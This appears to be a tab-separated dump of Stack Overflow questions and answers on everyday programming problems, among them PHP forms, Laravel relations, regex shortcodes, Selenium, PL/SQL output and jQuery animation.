16105116	0	 <p>Display as columns - this is a simple way. You may employ Rpad(), Lpad() for this, which would be more advanced I guess:</p> <pre><code>DECLARE v_name varchar2(30) := 'Joe Bloggs'; v_job varchar2(20) := 'Contractor'; v_pay number := 52657.3; BEGIN DBMS_OUTPUT.PUT_LINE('Employee Name'||chr(9)||chr(9)||chr(9)||'Job'||chr(9)||chr(9)||chr(9)||chr(9)||chr(9)||'Total Pay'); DBMS_OUTPUT.PUT_LINE('--------------------------------------------------------'); DBMS_OUTPUT.PUT_LINE(v_name||chr(9)||chr(9)||chr(9)||chr(9)||chr(9)||v_job||chr(9)||chr(9)||TRIM(TO_CHAR(v_pay, '$999G999G999D99'))); END; / Employee Name Job Total Pay -------------------------------------------------------- Joe Bloggs Contractor $52,657.30 </code></pre>
30951269	0	 <p>You are casting the short to AppCacheStatus object below, hence the error.</p> <pre><code> AppCacheStatus status = ((ApplicationCache) (driver)).getStatus(); </code></pre> <p><a href="http://selenium.googlecode.com/svn/trunk/docs/api/java/org/openqa/selenium/html5/ApplicationCache.html#getStatus%28%29" rel="nofollow">ApplicationCache</a> is an interface so you have to write your own version of getStatus method.</p> <p>You may want to get the cache status using the JavaScriptExecutor. Hope that helps.</p> <pre><code>JavascriptExecutor jsExecutor = (JavascriptExecutor) driver; long cacheStatus = (long) jsExecutor.executeScript("return window.applicationCache.status;"); System.out.println(cacheStatus); </code></pre>
26393976	0	Python File Writing Format Issue <p><strong>The Code</strong></p> <pre><code>def rainfallInInches(): file_object = open('rainfalls.txt') list_of_cities = [] list_of_rainfall_inches = [] for line in file_object: cut_up_line = line.split() city = cut_up_line[0] rainfall_mm = int(line[len(line) - 3:]) rainfall_inches = rainfall_mm / 25.4 list_of_cities.append(city) list_of_rainfall_inches.append(rainfall_inches) inch_index = 0 desired_file = open("rainfallInInches.txt", "w") for city in list_of_cities: desired_file.writelines(str((city, "{0:0.2f}".format(list_of_rainfall_inches[inch_index])))) inch_index += 1 desired_file.close() </code></pre> <p><strong>rainfalls.txt</strong></p> <blockquote> <pre><code>Manchester 37 Portsmouth 9 London 5 Southampton 12 Leeds 20 Cardiff 42 Birmingham 34 Edinburgh 26 Newcastle 11 </code></pre> </blockquote> <p><strong>rainfallInInches.txt</strong> This is the unwanted output</p> <blockquote> <p>('Manchester', '1.46')('Portsmouth', '0.35')('London', '0.20')('Southampton', '0.47')('Leeds', '0.79')('Cardiff', '1.65')('Birmingham', '1.34')('Edinburgh', '1.02')('Newcastle', '0.43')</p> </blockquote> <p>My program takes the data from 'rainfalls.txt' which has rainfall information in mm and converts the mm to inches then writes this new information into a new file 'rainfallInInches.txt'.</p> <p>I've gotten this far except I can't figure out how to format 'rainfallInInches.txt' to make it look like 'rainfalls.txt'.</p> <p>Bear in mind that I am a student, which you probably gathered by my hacky code.</p>
38889709	0	Redirect to another route when `mapHooks` fails <p>I have defined following <code>mapHooks</code>:</p> <pre><code>const mapHooks = { fetch: ({ dispatch, params }) =&gt; dispatch(fetchPost(params.postId)).catch(() =&gt; { console.log('catch'); }), }; </code></pre> <p>Sometimes, post cannot be found and I'd like to redirect user to the another page. When I <code>catch</code> the error I tried to call <code>push('/foo')</code> to redirect to <code>/foo</code> page, but it does nothing (<code>push</code> comes from <code>react-router-redux</code>.</p> <p>How can I redirect user properly ?</p>
9367650	0	Extract KML from Fusion Tables into Google Earth <p>I am trying to extract my KML file from Google's Fusion Tables into Google Earth. I follow what I think are the necessary steps via KML Network Link instructions. I must be missing something because no matter what I do the data will not show in Google Earth. I have the Fusion file shared as Unlisted, but am I supposed create a public URL as well in order for the points to show in google earth?</p> <p>Sorry for the basic/beginner question. It's SO basic I can't find a question already addressing the issue.</p> <p>Thanks in advance.</p>
30184152	0	 <p>You can achieve this by specifying things you want to show on card in <code>cardConfig</code></p> <pre><code>cardConfig: { fields: [ 'Name', 'TestCases', 'c_StoryType', 'Children', 'c_TargetRelease', 'PlanEstimate' { name: 'Children', renderer: this._renderChildStories }, ], } </code></pre> <p>and then define <code>_renderChildStories</code> function, I thing <code>value</code> will be a collection of child stories, so you can loop that depending upon the <code>val</code> value</p> <pre><code>_renderChildStories: function(val) { var store = Ext.create('Rally.data.custom.Store',{ data: [ { 'FormattedID': val.get('FormattedID'), 'Name': val.get('Name') } ] }); return store } </code></pre>
26008034	0	How to customise the php script so that the feedback is exactly the same as the user have typed out in a form? <p>Does anyone have any idea how to customize the php page so that the user can see a feedback of what he has already filled in? I noticed many php scripts have a 'thank you' feedback but I want more than that. The codes for the php as shown below :</p> <pre><code> &lt;?php if(isset($_POST['email'])) { // EDIT THE 2 LINES BELOW AS REQUIRED $email_to = "james@ace.com.sg"; $email_subject = "Photography Courses that I want to sign up"; function died($error) { // your error code can go here echo "We are very sorry, but there were error(s) found with the form you submitted. "; echo "These errors appear below.&lt;br /&gt;&lt;br /&gt;"; echo $error."&lt;br /&gt;&lt;br /&gt;"; echo "Please go back and fix these errors.&lt;br /&gt;&lt;br /&gt;"; die(); } // validation expected data exists if(!isset($_POST['name']) || !isset($_POST['email']) || !isset($_POST['tel']) || /*!isset($_POST['basic']) || !isset($_POST['advanced']) || !isset($_POST['raw']) || !isset($_POST['lightroom']) ||*/ !isset($_POST['comments'])) { died('We are sorry, but there appears to be a problem with the form you submitted.'); } $name = $_POST['name']; // required $email_from = $_POST['email']; // required $telephone = $_POST['tel']; // required $basic = $_POST['basic']; // not required $advanced = $_POST['advanced']; // not required $raw = $_POST['raw']; // not required $lightroom = $_POST['lightroom']; // not required $comments = $_POST['comments']; // not required $error_message = ""; $email_exp = '/^[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}$/'; $string_exp = "/^[A-Za-z .'-]+$/"; if(!preg_match($string_exp,$name)) { $error_message .= 'The Name you entered does not appear to be valid.&lt;br /&gt;'; } if(!preg_match($email_exp,$email_from)) { $error_message .= 'The Email Address you entered does not appear to be valid.&lt;br /&gt;'; } /*if(!preg_match($string_exp,$telephone)) { $error_message .= 'You need to insert the telephone number.&lt;br /&gt;'; }*/ /* if(strlen($comments) &lt; 2) { $error_message .= 'Insufficient Words for comments! &lt;br /&gt;'; }*/ if(strlen($error_message) &gt; 0) { died($error_message); } $email_message = "Form details below.\n\n"; function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href"); return str_replace($bad,"",$string); } $email_message .= "\n Name: ".clean_string($name)."\n\n"; $email_message .= "Email: ".clean_string($email_from)."\n\n"; $email_message .= "Telephone: ".clean_string($telephone)."\n\n"; $email_message .= "Courses Taking: \n\n".clean_string($basic)."\n\n" .clean_string($advanced)."\n\n" .clean_string($raw)."\n\n" .clean_string($lightroom)."\n\n"; $email_message .= "Comments: ".clean_string($comments)."\n\n"; // create email headers $headers = 'From: '.$email_from."\r\n". 'Reply-To: '.$email_from."\r\n" . 'X-Mailer: PHP/' . phpversion(); @mail($email_to, $email_subject, $email_message, $headers); ?&gt; &lt;!-- include your own success html here --&gt; &lt;?php echo '&lt;h2&gt;Thanks for filling up this form, We will get back to you by next Monday (29 Sep). Have a terrific weekend!&lt;/h2&gt;'; echo '&lt;p&gt;**How do I feedback of what the user has already filled in the form here?** &lt;/p&gt;'; ?&gt; &lt;?php $redirect = 'http://www.acetraining.com.sg'; ?&gt; &lt;?php } ?&gt; &lt;SCRIPT LANGUAGE="JavaScript"&gt; redirTime = "4000"; redirURL = "&lt;?php echo $redirect ?&gt;"; function redirTimer() { self.setTimeout("self.location.href=redirURL;",redirTime);} &lt;/script&gt; &lt;BODY onLoad="redirTimer()"&gt; </code></pre> <p>Thanks!</p>
20676383	0	 <p>You need many to many relationship:</p> <p><strong>In your user model:</strong></p> <pre><code>class User extends Eloquent { public function leads() { return $this-&gt;belongsToMany('Lead'); } } </code></pre> <p><strong>In your Lead model:</strong></p> <pre><code>class Lead extends Eloquent { public function users() { return $this-&gt;belongsToMany('User'); } } </code></pre> <p><strong>Then from your controller:</strong> Utilize the many to many relationship.</p> <pre><code>$leads = User::find(1)-&gt;leads; </code></pre> <p><strong>Important:</strong></p> <p>Three database tables are needed for this relationship: <code>users</code>, <code>leads</code>, and <code>lead_user</code>. The <code>lead_user</code> table is derived from the alphabetical order of the related model names, and should have <code>user_id</code> and <code>lead_id</code> columns.</p> <p>Reference:</p> <p><a href="http://laravel.com/docs/eloquent#many-to-many" rel="nofollow">http://laravel.com/docs/eloquent#many-to-many</a></p> <p><strong>Iterate items</strong></p> <pre><code>foreach ($leads as $lead) { dd($lead); } </code></pre> <p>More info:</p> <p><a href="http://laravel.com/docs/eloquent#working-with-pivot-tables" rel="nofollow">http://laravel.com/docs/eloquent#working-with-pivot-tables</a></p>
33968920	0	postgres database : Insufficient privilege, permission denied for relation table <p>I have been using the postgres database on heroku for a while. and suddenly I had some problems on saving to database I got this error all the time</p> <pre><code> Insufficient privilege, permission denied for relation table </code></pre> <p>its a problem of user permission , but I'm confused why it happened , because it was working correctly before</p>
15274823	0	 <p>You can store a whole matrix in one column of a <code>data.frame</code>:</p> <pre><code>x &lt;- a [, -1] y &lt;- a [, 1] data &lt;- data.frame (y = y, x = I (x)) str (data) ## 'data.frame': 10 obs. of 2 variables: ## $ y: num 0.818 0.767 -0.666 0.788 -0.489 ... ## $ x: AsIs [1:10, 1:9] 0.916274.... 0.386565.... 0.703230.... -2.64091.... 0.274617.... ... model &lt;- lm (y ~ x) newdata &lt;- data.frame (x = I (b [, -1])) predict (model, newdata) ## 1 2 ## -3.795722 -4.778784 </code></pre> <p>The paper about the pls package, (<a href="http://www.jstatsoft.org/v18/i02/" rel="nofollow">Mevik, B.-H. and Wehrens, R. The pls Package: Principal Component and Partial Least Squares Regression in R Journal of Statistical Software, 2007, 18, 1 - 24.</a>) explains this technique. </p> <p>Another example with a spectroscopic data set (quinine fluorescence), is in <a href="http://hyperspec.r-forge.r-project.org/blob/flu.pdf" rel="nofollow"><code>vignette ("flu")</code></a> of my package hyperSpec. </p>
1469564	0	 <p>The character array contains executable code and the cast is a function cast.</p> <p><code>(*(void(*) ())</code> means "cast to a function pointer that produces void, i.e. nothing. The <code>()</code> after the name is the function call operator.</p>
29419642	0	PHP Form With Conditional Fields <p>I am trying to create a PHP form to insert records into a database where the record has conditional start and end dates. I have two radio buttons setup where you can either choose: </p> <ol> <li>No End Date </li> <li>Choose a series of date and time options which are concated into start and end dates and times. </li> </ol> <p>I have Javascript set so that by default you only see the first option. The additional fields appear if you choose the second radio button. When you hit the submit button, you get the following error: </p> <blockquote> <p>Column count doesn't match value count at row 1</p> </blockquote> <p>Can anyone tell me what the see wrong in the markup? </p> <p>Here is the code for the page:</p> <pre><code>&lt;?php require_once('../Connections/mysqlconnect.php'); ?&gt; &lt;?php if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { if (PHP_VERSION &lt; 6) { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; } $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? doubleval($theValue) : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } $editFormAction = $_SERVER['PHP_SELF']; if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']); } if ((isset($_POST["MM_insert"])) &amp;&amp; ($_POST["MM_insert"] == "form1")) { $insertSQL = sprintf("INSERT INTO keywords (id, station, keyword, url, target, start_date, end_date) VALUES (%s, %s, %s, %s, %s, %s)", GetSQLValueString($_POST['id'], "int"), GetSQLValueString($_POST['station'], "text"), GetSQLValueString($_POST['keyword'], "text"), GetSQLValueString($_POST['url'], "text"), GetSQLValueString($_POST['target'], "text"), GetSQLValueString($_POST['unlimited'], "text"), GetSQLValueString(date("Y-m-d H:i:s", strtotime($_POST['startDay'] . $_POST['start-hour'] . ':' . $_POST['start-minute'] . $_POST['start-meridian'])), "date"), GetSQLValueString(date("Y-m-d H:i:s", strtotime($_POST['endDay'] . $_POST['end-hour'] . ':' . $_POST['end-minute'] . $_POST['end-meridian'])), "date")); mysql_select_db($database_mysqlconnect, $mysqlconnect); $Result1 = mysql_query($insertSQL, $mysqlconnect) or die(mysql_error()); $insertGoTo = "manage.php?mess=3"; if (isset($_SERVER['QUERY_STRING'])) { $insertGoTo .= (strpos($insertGoTo, '?')) ? "&amp;" : "?"; $insertGoTo .= $_SERVER['QUERY_STRING']; } header(sprintf("Location: %s", $insertGoTo)); } mysql_select_db($database_mysqlconnect, $mysqlconnect); $query_Recordset1 = "SELECT * FROM keywords"; $Recordset1 = mysql_query($query_Recordset1, $mysqlconnect) or die(mysql_error()); $row_Recordset1 = mysql_fetch_assoc($Recordset1); $totalRows_Recordset1 = mysql_num_rows($Recordset1); ?&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt; &lt;title&gt;Ad Inventory:: Add New Campaign&lt;/title&gt; &lt;script type="text/javascript" src="http://yourligas.yourli.com/datepicker/jquery-ui-1.10.4.custom/js/jquery-1.10.2.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://yourligas.yourli.com/datepicker/jquery-ui-1.10.4.custom/js/jquery-ui-1.10.4.custom.js"&gt;&lt;/script&gt; &lt;script type="text/javascript" src="http://yourligas.yourli.com/datepicker/jquery-ui-1.10.4.custom/js/jquery-ui-.custom.min.js"&gt;&lt;/script&gt; &lt;script src="../SpryAssets/SpryValidationTextField.js" type="text/javascript"&gt;&lt;/script&gt; &lt;link rel="stylesheet" type="text/css" media="screen" href="http://yourligas.yourli.com/datepicker/jquery-ui-1.10.4.custom/css/ui-lightness/jquery-ui-1.10.4.custom.css"&gt; &lt;link rel="stylesheet" type="text/css" media="screen" href="http://yourligas.yourli.com/datepicker/jquery-ui-1.10.4.custom/css/ui-lightness/jquery-ui-1.10.4.custom.min.css"&gt; &lt;script&gt; $(function() { $( "#startdatepicker" ).datepicker({ showOn: "button", buttonImage: "http://yourligas.yourli.com/datepicker/jquery-ui-1.10.4.custom/development-bundle/demos/images/calendar.gif", buttonImageOnly: true, changeMonth: true, changeYear: true }); }); $(function() { $( "#enddatepicker" ).datepicker({ showOn: "button", buttonImage: "http://yourligas.yourli.com/datepicker/jquery-ui-1.10.4.custom/development-bundle/demos/images/calendar.gif", buttonImageOnly: true, changeMonth: true, changeYear: true }); }); &lt;/script&gt; &lt;style&gt; html,body{font-family:Arial, Helvetica, sans-serif;font-size:14px;margin:0 auto;background:#EFEFEF;} h1{margin-left:0;font-size:36px;} a{text-decoration:none;color:#036;font-weight:bold;font-size:16px;} a:visited{color:#036} td{ font-family: Arial, Helvetica, sans-serif; color: #585858; } tr.heading, .heading a{color:#fff; font-size:14px;font-weight:bold} tr.heading td{background:#036!important;color:#ffffff;} tr.alt td { background-color: #B9DCFF; } tr td { background-color: #D7EBFF;padding:10px; } .nav{list-style:none;margin:0;padding:0;text-align:right;} .nav li{display:inline-block;padding:0 10px;} .confirm-message{ width:800px; margin:0 auto; border:1px solid #004A0D; padding:15px; text-align:center; background-color: #B9FFC6; } .error{ color:#ff0000; font-style:italic; } &lt;/style&gt; &lt;link href="../SpryAssets/SpryValidationTextField.css" rel="stylesheet" type="text/css" /&gt; &lt;/head&gt; &lt;body&gt; &lt;p&gt;&lt;h1 align="center" style="font-size:30px;"&gt;CONNOISSEUR LI:: Keyword Management&lt;/h1&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;?php // define variables and set to empty values $campaignErr = $startdateErr = $enddateErr = ""; $campaign = $startdate = $enddate = ""; if ($_SERVER["REQUEST_METHOD"] == "POST") { if (empty($_POST["campaign"])) {$campaignErr = "Please Specify a Campaign Name!";} else {$campaign = test_input($_POST["campaign"]);} if (empty($_POST["startDay"])) {$startdateErr = "Please Specify a Start Date!";} else {$startdate = test_input($_POST["startDay"]);} if (empty($_POST["endDay"])) {$enddateErr = "Please Specify an End Date!";} else {$enddate = test_input($_POST["endDay"]);} } ?&gt; &lt;form action="&lt;?php echo $editFormAction; ?&gt;" method="post" name="form1" id="form1" style="font-size:12px;"&gt; &lt;table align="center" border="0" cellpadding="10" cellspacing="0" style="margin:0 auto;"&gt; &lt;tr valign="middle"&gt; &lt;td nowrap="nowrap" align="right"&gt;Station:&lt;/td&gt; &lt;td&gt; &lt;select name="station" style="font-size:12px;"&gt; &lt;option value="WBZO" selected="selected"&gt;WBZO&lt;/option&gt; &lt;option value="WHLI"&gt;WHLI&lt;/option&gt; &lt;option value="WKJY"&gt;WKJY&lt;/option&gt; &lt;option value="WALK"&gt;WALK&lt;/option&gt; &lt;option value="WWSK"&gt;WWSK&lt;/option&gt; &lt;/select&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr valign="middle"&gt; &lt;td nowrap="nowrap" align="right"&gt;Keyword:&lt;/td&gt; &lt;td&gt;&lt;span id="sprytextfield1"&gt; &lt;input type="text" name="keyword" value="" size="62" required="required" style="font-size:12px;" /&gt; &lt;span class="textfieldRequiredMsg"&gt;Please specify a keyword!&lt;/span&gt;&lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr valign="middle"&gt; &lt;td nowrap="nowrap" align="right"&gt;URL:&lt;/td&gt; &lt;td&gt;&lt;span id="sprytextfield1"&gt; &lt;input type="text" name="url" value="" size="62" required="required" style="font-size:12px;" maxlength="2083" /&gt; &lt;span class="textfieldRequiredMsg"&gt;Please specify a URL!&lt;/span&gt;&lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr valign="middle"&gt; &lt;td nowrap="nowrap" align="right"&gt;&lt;/td&gt; &lt;td&gt; &lt;input name="target" type="checkbox" value="blank" /&gt; Open Link in New Window? &lt;/td&gt; &lt;/tr&gt; &lt;tr valign="middle"&gt; &lt;td&gt;&lt;/td&gt; &lt;td&gt; &lt;div&gt; &lt;input type="radio" name="schedule" value="true" class="schedule" checked="checked" /&gt; No End Date Yet&lt;br /&gt;&lt;br /&gt; &lt;input type="radio" name="schedule" value="false" class="schedule" /&gt; Schedule a Start and End Date &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr valign="middle" id="start-schedule"&gt; &lt;td&gt;Start Date:&lt;/td&gt; &lt;td&gt; &lt;span id="sprytextfield2"&gt; &lt;input name="startDay" id="startdatepicker" style="font-size:12px;" /&gt;&lt;style&gt;.ui-datepicker-trigger{position:relative;left:3px;top:2px;}&lt;/style&gt; &amp;nbsp;&amp;nbsp;@&amp;nbsp; &lt;?php echo "&lt;select name=\"start-hour\" style='width:50px'&gt;"; $i = 1; while ( $i &lt;= 12 ) { $i = sprintf("%02d",$i); echo "&lt;option value=".$i." selected='12'&gt;".$i."&lt;/option&gt;"; $i++; } echo "&lt;/select&gt;"; echo ":&amp;nbsp;"; echo "&lt;select name=\"start-minute\" style='width:50px'&gt;"; $i = 0; while ( $i &lt;= 59 ) { $i = sprintf("%02d",$i); echo "&lt;option value=".$i."&gt;".$i."&lt;/option&gt;"; $i++; } echo "&lt;/select&gt;"; ?&gt; &amp;nbsp; &lt;select name="start-meridian" style="width:50px;font-size:12px;"&gt;&lt;option value="am" selected="selected"&gt;AM&lt;/option&gt;&lt;option value="pm"&gt;PM&lt;/option&gt;&lt;/select&gt; &lt;span class="textfieldRequiredMsg"&gt;Please specify a start date!&lt;/span&gt; &lt;span class="textfieldInvalidFormatMsg"&gt;Invalid date format. Please specify your date as mm/dd/yyyy!&lt;/span&gt; &lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr valign="middle" id="end-schedule"&gt; &lt;td&gt;End Date:&lt;/td&gt; &lt;td&gt; &lt;span id="sprytextfield3"&gt; &lt;input name="endDay" id="enddatepicker" style="font-size:12px;" /&gt;&lt;style&gt;.ui-datepicker-trigger{position:relative;left:3px;top:2px;}&lt;/style&gt; &amp;nbsp;&amp;nbsp;@&amp;nbsp; &lt;select name="end-hour" style="width:50px"&gt; &lt;option value="1"&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8"&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="11" selected="selected"&gt;11&lt;/option&gt; &lt;option value="12"&gt;12&lt;/option&gt; &lt;/select&gt; &lt;?php echo ":&amp;nbsp;"; echo "&lt;select name=\"end-minute\" style='width:50px'&gt;"; $i = 0; while ( $i &lt;= 59 ) { $i = sprintf("%02d",$i); echo "&lt;option value=".$i." selected=\"59\"&gt;".$i."&lt;/option&gt;"; $i++; } echo "&lt;/select&gt;"; ?&gt; &amp;nbsp; &lt;select name="end-meridian" style="width:50px;font-size:12px;"&gt;&lt;option value="am"&gt;AM&lt;/option&gt;&lt;option value="pm" selected="selected"&gt;PM&lt;/option&gt;&lt;/select&gt; &lt;span class="textfieldRequiredMsg"&gt;Please specify an end date!&lt;/span&gt; &lt;span class="textfieldInvalidFormatMsg"&gt;Invalid date format. Please specify your date as mm/dd/yyyy!&lt;/span&gt; &lt;/span&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr valign="baseline"&gt; &lt;td nowrap="nowrap" align="right"&gt;&amp;nbsp;&lt;/td&gt; &lt;td align="right"&gt;&lt;input type="submit" value="Insert" style="font-size:14px;padding:3px 5px;" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;input type="hidden" name="id" value="" /&gt; &lt;input type="hidden" name="MM_insert" value="form1" /&gt; &lt;/form&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p align="center"&gt;&lt;b&gt;&lt;a href="javascript: history.go(-1)"&gt;&amp;crarr; Cancel&lt;/a&gt;&lt;/b&gt;&lt;/p&gt; &lt;script&gt; $(document).ready(function(){ $("#start-schedule").css("display","none"); $(".schedule").click(function(){ if ($('input[name=schedule]:checked').val() == "false" ) { $("#start-schedule").slideDown("fast"); //Slide Down Effect } else { $("#start-schedule").slideUp("fast"); //Slide Up Effect } }); $("#end-schedule").css("display","none"); $(".schedule").click(function(){ if ($('input[name=schedule]:checked').val() == "false" ) { $("#end-schedule").slideDown("fast"); //Slide Down Effect } else { $("#end-schedule").slideUp("fast"); //Slide Up Effect } }); }); &lt;/script&gt; &lt;script type="text/javascript"&gt; &lt;!-- var sprytextfield1 = new Spry.Widget.ValidationTextField("sprytextfield1"); var sprytextfield2 = new Spry.Widget.ValidationTextField("sprytextfield2", "date", {format:"mm/dd/yyyy", validateOn:["blur"]}); var sprytextfield3 = new Spry.Widget.ValidationTextField("sprytextfield3", "date", {format:"mm/dd/yyyy", validateOn:["blur"]}); //--&gt; &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; &lt;?php mysql_free_result($Recordset1); ?&gt; </code></pre>
5088870	0	xml parsing error <p>I am writing a ocs IM client for android and now I am trying to delete a contact from contact list with the </p> <pre><code>&lt;deleteContact rid="100"&gt;&lt;/deleteContact&gt; &lt;uri&gt;sip:alice@contoso.com&lt;/uri&gt; &lt;/deleteContact&gt; </code></pre> <p>command request to the cwa server... the command is from <a href="http://msdn.microsoft.com/en-us/library/bb969527%28v=office.12%29.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/bb969527%28v=office.12%29.aspx</a>.</p> <p>When I send the request to the ocs server I get the following error:</p> <pre><code>Error in XML document (5, 3): deleteContact was not expected </code></pre> <p>Does somebody know what could be the problem? Or at least tell me please how can I read that error: document (5, 3) ... </p> <p>My original code:</p> <pre><code>&lt;cwaRequests sid="5" xmlns="http://schemas.microsoft.com/2006/09/rtc/cwa"&gt; &lt;deleteContact rid="2"&gt; &lt;uri&gt; sip:emil@domain.org &lt;/uri&gt; &lt;/deleteContact&gt; &lt;/cwaRequests&gt; </code></pre> <p>Thank you very much!</p>
26206286	0	Regular expression to match wordpress like shortcodes, for both self closing and enclosed <p>I am trying to get a regular expression pattern to implement a shortcode feature in Joomla CMS, using plugins, similar to WordPress.</p> <p>The shortcode may be a self closing one like <code>{myshortcode shortcode="codeone"}</code> at some occassions and may be an enclosed ones like:</p> <pre><code>{myshortcode shortcode="anothercode"|param="test"} {column}column 1{/column} {/myshortcode} </code></pre> <p>I managed to figure out the regular expression used in WordPress:</p> <pre><code>{(}?)(myshortcode)(?![\w-])([^}\/]*(?:\/(?!})[^}\/]*)*?)(?:(\/)}|}(?:([^{]*+(?:{(?!\/\2})[^{]*+)*+){\/\2})?)(}?) </code></pre> <p>This is working fine if the content contains one or more self closing shortcodes, or one or more of the enclosed shortcodes. But if the content contains a mixture of both, it won't work. </p> <p>Instead of using the square brackets <code>[]</code>, I am using the curly braces <code>{}</code>, as this is how content plugins are used in Joomla.</p> <p>Now please check the below HTML snippet:</p> <pre><code>&lt;div id="lipsum"&gt; &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin pellentesque lectus tellus, ut tincidunt orci posuere non. Aliquam erat volutpat. Phasellus in lobortis dolor, porta varius nunc. Ut et felis rutrum, pharetra mi a, ullamcorper purus. In vitae fringilla velit. In nec scelerisque mauris, sed eleifend urna. Duis feugiat risus et arcu eleifend venenatis. &lt;/p&gt; &lt;h3&gt;Shortcode 1&lt;/h3&gt; &lt;p&gt;{myshortcode shortcode="codeone"}&lt;/p&gt; &lt;h3&gt;Shortcode 2 - &lt;/h3&gt; &lt;p&gt;{myshortcode shortcode="anotherone"|param="test"} {column}column 1{/column} {/myshortcode} &lt;/p&gt; &lt;p&gt; Duis quis nisl fringilla, porttitor tellus a, congue mauris. Sed posuere erat vel metus egestas, eget lobortis dolor pretium. Proin iaculis pharetra consectetur. Sed in enim ultricies, sagittis nisl vitae, porttitor libero. Praesent ut erat nisi. Maecenas luctus magna lacus. Mauris ullamcorper maximus arcu et tincidunt. Aenean cursus enim blandit, scelerisque ex sed, vestibulum felis. In magna massa, sagittis in eleifend vel, tristique vitae nisi. &lt;/p&gt; &lt;/div&gt; </code></pre> <p>Here the HTML contains both self enclosing and enclosing shortcodes. In this case the above regular expression pattern is not working, as it matches the two shortcodes as one, starting from <code>{myshortcode shortcode="codeone"}</code> to <code>{/myshortcode}</code> as a single shortcode.</p> <p><strong>So my question is is there a pattern I can use to match both the shortcodes?</strong></p> <p>Please check the current state of it here <a href="http://regex101.com/r/tF0mA9/1" rel="nofollow">http://regex101.com/r/tF0mA9/1</a>. Here I am expecting two matches.</p> <p>Thank you for your help.</p>
27802997	0	 <pre><code>#graph_bg{ position:relative; width:350px; height:300px; background-color:yellow; overflow:hidden; } #graph_bar{ position: absolute; top: 350px; left: 50px; height:300px; width:50px; background-color:blue; } #pop{ position: absolute; top:50px; left: 50px; width:50px; height:50px; background-color:red; display: none; } &lt;div id="graph_bg"&gt; &lt;div id="graph_bar"&gt;&lt;/div&gt; &lt;div id="pop"&gt;&lt;/div&gt; &lt;/div&gt; $("#graph_bar").animate({"top":"50px"} ,2000 ,function(){ $("#pop").show(); } ); </code></pre> <p><a href="http://jsfiddle.net/zacwolf/cgsdcwp3/1/" rel="nofollow">http://jsfiddle.net/zacwolf/cgsdcwp3/1/</a></p> <p>Since I didn't have your images I used background-colors instead, but you could just change those to background-image to use your images. The thing you were missing is that the background container needs to be the parent to the other two elements, then you can use "overflow-hidden" in the background container, and set the initial absolute position of the bar so that it is outside the visible limits of the background container. Then you just animate it to the "top" position where you want it to be. Also, you forget the # in your show()</p>
20354188	0	 <pre><code>f1 = 1 ; N = 1024 ; fs = 200 ; ts = 1/fs ; t = -(N/(2*fs)):ts:(N/(2*fs) ; y = sin(2*pi*f1*t) ; plot(t,y) </code></pre> <p>You do not need to use i for getting 1024 samples out. this can be done by choosing correct start and stop values for t.</p>
14991286	0	Set the background in canvas using layer (zIndex) <p>I need to get a background on canvas using layers. Variable for it's background. I know I should use CSS and set the z-index, but do not know how to do it in this case.</p> <p>JS:</p> <pre><code>function doFirst(){ var x = document.getElementById('canvas'); canvas = x.getContext('2d'); var item1 = new Image(); item1.src = "images/sheep.png"; item1.addEventListener("load", function() { canvas.drawImage(item1,20,300)}, false); var item2 = new Image(); item2.src = "images/tshirt.png"; item2.addEventListener("load", function() { canvas.drawImage(item2,300,300)}, false); var background = new Image(); background.src = "images/background.png"; background.addEventListener("load", function() { canvas.drawImage(background,0,0,1024,768)}, false); } </code></pre> <p>HTML:</p> <pre><code>&lt;canvas id="canvas" width="1024" height="768"&gt; </code></pre>
12834155	0	 <p>you may also add Method to Button for onClick in xml and use the same method in activity.As,</p> <pre><code>private void blabla(view v){ if(v= ui_titlebar_back_btn){ //do something } else if(v==blabla){ //do something } } </code></pre>
29196683	0	 <p>Try it with <code>filename</code>:</p> <pre><code>send_data @clients.pluck(:email).join('; '), filename: file_name </code></pre>
36973977	0	 <p>Try commenting out the following line of code in your AppDelegate.swift file - </p> <pre><code>PFUser.enableAutomaticUser() </code></pre> <p>enableAutomaticUser() will log in an anonymous user once you call PFUser.logOut(), and the username for an anonymous user is nil.</p>
